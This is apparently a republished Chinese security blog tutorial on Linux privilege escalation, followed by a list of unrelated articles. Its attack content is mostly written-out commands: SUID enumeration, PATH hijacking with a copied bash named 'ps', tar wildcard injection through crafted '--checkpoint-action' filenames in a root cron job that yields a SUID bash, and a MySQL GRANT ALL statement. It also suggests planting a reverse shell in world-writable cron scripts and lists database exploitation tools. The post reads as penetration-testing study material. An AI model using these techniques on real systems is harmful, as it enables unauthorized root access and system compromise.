Linux提权:定时任务 环境变量 配置不当 数据库

news/2024/11/6 15:41:56/

目录

环境变量配合SUID

实战测试

原理分析

实战中如何发现挖掘这类安全问题

定时任务打包配合SUID

原理分析

定时任务权限配置不当

数据库提权-梭哈的艺术

隧道出网提权


环境变量配合SUID

实战测试

这个提权方法比较鸡肋,因为它需要两个前提条件:

  • 1.需要复制suid权限
  • 2.设置环境变量需要有本地用户权限,web权限设置不了

探针:

find / -user root -perm -4000 -print 2>/dev/null 

探测除系统命令外管理员添加的具有suid权限的文件

root用户讲可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行

domo.c

#include<unistd.h>
void main()
{ setuid(0);setgid(0);system("ps");  #system权限执行ps命令
}

ps自带的环境变量 路径:

[fragile@localhost tmp]# whereis ps
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz /usr/share/man/man1p/ps.1p.gz

编译demo文件重命名为shell(给到了suid权限),赋予执行权限 执行后运行ps命令

gcc demo.c -o shell
chmod u+s shell

普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cp /bin/bash /104/ps
export PATH=/104:$PATH
./shell
id

在这里插入图片描述

原理分析

demo.c会执行ps命令,会调用系统的环境变量 路径:/bin/ps

root为了这个文件能被所有用户使用,就给它加上了suid权限

而且Linux系统的变量规则:执行ps时,会优先找当前目录有没,没有的话再往系统外找。

复制bash到当前目录取名为ps,demo.c执行ps命令时就会优先到当前目录的ps执行,而ps实际上是一个bash。

由于环境变量加了/104/ps,而/104/ps其实是/bash

就像与demo.c执行bash,直接完成提权

注:当前目录优先级高于环境变量

实战中如何发现挖掘这类安全问题

  1. 普通用户权限下先获取suid所有程序
  2. 去除系统自带的一些命令(筛选第三方程序)
  3. 对该程序进行反编译或者找源码 明白该程序的作用
  4. 思考该程序有无执行一些环境变量命令 (ps ping su sudo 等 比如该shell程序执行了ps命令)
  5. 尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)
     

定时任务打包配合SUID

背景:运维为了防止数据丢失等,写一个定时任务进行数据的打包压缩
数据打包命令可以尝试添加参数调用其他命令执行

tar zxf 1.tar.gz /var/www/*

提权通过获取计划任务执行文件信息进行提权

相对路径和绝对路径执行,计划任务命令存在参数调用

利用计划任务的备份功能tar命令的参数利用
定时任务crontab配置文件:
backup.sh

cd /tmp/;
tar czf /tmp/backup.tar.gz *  #压缩当前目录所有文件至/tmp/backup.tar.gz
[root@localhost tmp]# cat /etc/crontab #定义每分钟执行一次脚本
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root /tmp/backup.sh
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

配合SUID提权

echo "" > "--checkpoint-action=exec=sh test.sh"		#将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh   #写入命令  chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh

等待触发定时任务 

原理分析

定时任务执行/tmp/backup.sh
cd /tmp/;tar czf /tmp/backup.tar.gz *
tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh
tar czf /tmp/backup.tar.gz --checkpoint=1
定时任务进行文件压缩的时候利用tar命令进行命令执行 与文件名进行拼接 从而间接执行test.sh文件
执行当前目录的bash程序 借助suid进行bash提权
由于定时任务是root用户下发的,所以执行中是root权限
 

可能会出现的错误:/tmp/back.sh 权限不够

将backup.sh 权限设置为可执行就可以了
注:一般适用于本地用户提权 webshell权限可能看不了压缩后的目录文件

定时任务权限配置不当

Linux 下的每个文件都有以下三种权限
r:表示读取,对应的数字为 4
w:表示写入,对应的数字为 2
x:表示执行,对应的数字为 1
通过 4、2、1 的组合,进行权限分配

利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
什么意思呢?就是管理员或运维人员在使用定时任务进行bash脚本时,提前会赋予脚本执行权限
比如chmod +x xxx.sh chmod 555 xxx.sh 这些都是正常的,但是有些管理员可能会由于粗心直接设置chmod 777 xxx.sh 此时普通用户也具有w权限,即具有写入权限,拿到普通用户权限之后可以直接修改xxx.sh,比如在脚本中添加反弹shell命令,从而利用定时任务执行反弹shell(执行为root权限)。
定时任务是调用时是root权限

数据库提权-梭哈的艺术

背景:提权MySQL数据库时,发现数据库不允许外链,使用Root权限开启外链,但仍然失败

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;

即使如此,仍然失败。经过分析得知:防火墙过滤,无法正向链接数据库。

策略有二:

  1. 手工提权,通过哥斯拉/冰蝎的数据库链接进行提权,相当于自己连自己
  2. 隧道出网,用外部或本机的工具项目提权,建立隧道

查看本地的网络连接情况
netstat -ano 

隧道出网提权

靶机地址:vulnhub.com上

                  百度网盘 请输入提取码

提权的项目:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

使用冰蝎进行内网穿透

这种方式是使用基于HTTP隧道的但端口映射

HTTP隧道(HTTP tunneling)是一种通过HTTP协议传输其他协议数据的技术。在网络环境中,有时候会限制某些协议的直接传输,例如SSH或其他非标准协议。通过HTTP隧道,可以将这些协议的数据封装在HTTP请求和响应中进行传输。

单端口映射是一种将外部网络流量通过一个端口映射到内部网络的技术。使用单端口映射可以使多个不同的协议流量通过同一个端口进行传输。

结合HTTP隧道和单端口映射,可以实现将其他协议的数据通过HTTP隧道传输,并映射到单个端口上的目标服务器上。

就是把3306的流量封装进入HTTP协议,通过80端口转发本机的3300端口。

进入提权页面

提权成功,这款工具支持多种数据库提权

当然也有手工提权的方式,但是建议使用工具,linux上的数据库提权其实和Windows差不多

如果你还对windows上数据库提权不熟悉的话,请参考我得另一篇博客:

Windows提权:利用MySQL数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

Windows提权:利用MSSQL数据库,Oracle数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

其它的数据库提权项目汇总:

MDUT 2.0 数据库利用工具 https://github.com/SafeGroceryStore/MDUT MDUT
综合高危漏洞利用工具(包含各大数据库) https://github.com/Liqunkit/LiqunKit_ LiqunKit
sqlserver利用工具 https://github.com/uknowsec/SharpSQLTools
SharpSQLTools 通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动
数据库攻击工具 https://github.com/quentinhardy/odat ODAT
https://github.com/blackarrowsec/mssqlproxy mssqlproxy ODAT:Oracle


http://www.ppmy.cn/news/148010.html

相关文章

中央空调如何维修?中央空调如何保养?

​当我们在使用中央空调的时候&#xff0c;想必大家都会在第一时间找师傅维修&#xff0c;其实我们可以事先自己检查一下&#xff0c;如果是一些小毛病的话我们自己就可以解决了&#xff0c;也可以为我们省去没必要的费用&#xff0c;那么中央空调故障如何维修呢? 一、中央空调…

2021年中国空调供需及出口情况分析 [图]

一、现状 2020年&#xff0c;受到疫情的影响&#xff0c;房间空气调节器产量为21064.6万台&#xff0c;同比2019年下降3.67%。随着疫情在国内得到有效的控制&#xff0c;房地产行业的逐渐回暖&#xff0c;以及利好政策因素等加持下&#xff0c;2021年房间空气调节器产量为21835…

2021年中国中央空调产业链分析:中央空调应用场景不断丰富,潜在需求庞大 [图]

一、产业链概述 中央空调系统又称集中式空调系统&#xff0c;是指在同一建筑物中&#xff0c;以集中或半集中方式对空气进行处理、输送和分配的空调系统&#xff0c;由空气加热、冷却、加湿、去湿、空气净化、风量调节设备以及空调用冷、热源等设备共同组成。中央空调产业的上游…

环保和节能要求越来越高,暖通空调需不断提高产品的环保性和能源利用效率...

暖通空调是指一种系统&#xff0c;它可以通过控制室内空气的温度、湿度、流速和质量等参数&#xff0c;为建筑物提供舒适的室内环境。暖通空调系统包括供暖、通风和空调三个方面&#xff0c;可以根据不同的季节和气候条件&#xff0c;为建筑物提供适宜的温度和湿度。暖通空调系…

2022年全球与中国暖通空调系统市场现状及未来发展趋势

2022-2028全球与中国暖通空调系统市场现状及未来发展趋势 根据QYR&#xff08;恒州博智&#xff09;的统计及预测&#xff0c;2021年全球暖通空调系统市场销售额达到了1737.3亿美元&#xff0c;预计2028年将达到2730亿美元&#xff0c;年复合增长率&#xff08;CAGR&#xff0…

【产品应用】一体化步进电机在全自动折页机的应用

随着科技的不断发展&#xff0c;机器人技术也越来越成熟&#xff0c;智能化和自动化已经成为了现代工业的发展趋势。在这个趋势下&#xff0c;全自动折页机作为一种高效、精确的印刷设备&#xff0c;被广泛应用于各种印刷品的生产中。而一体化步进电机作为全自动折页机的关键部…

【C++】STL——stack OJ练习

文章目录 1. 最小栈思路分析AC代码拓展思维 2. 栈的压入、弹出序列思路讲解AC代码 3. 逆波兰表达式求值思路讲解AC代码拓展&#xff1a;中缀表达式如何转后缀 这篇文章我们来做几道stack相关的OJ题&#xff0c;练习一下stack的使用。 1. 最小栈 先来看第一道题——&#xff1a…

Linux 实操篇-实用指令

Linux 实操篇-实用指令 指定运行级别 基本介绍 运行级别说明&#xff1a; 0 &#xff1a;关机 1 &#xff1a;单用户【找回丢失密码】 2&#xff1a;多用户状态没有网络服务 3&#xff1a;多用户状态有网络服务 4&#xff1a;系统未使用保留给用户 5&#xff1a;图形界…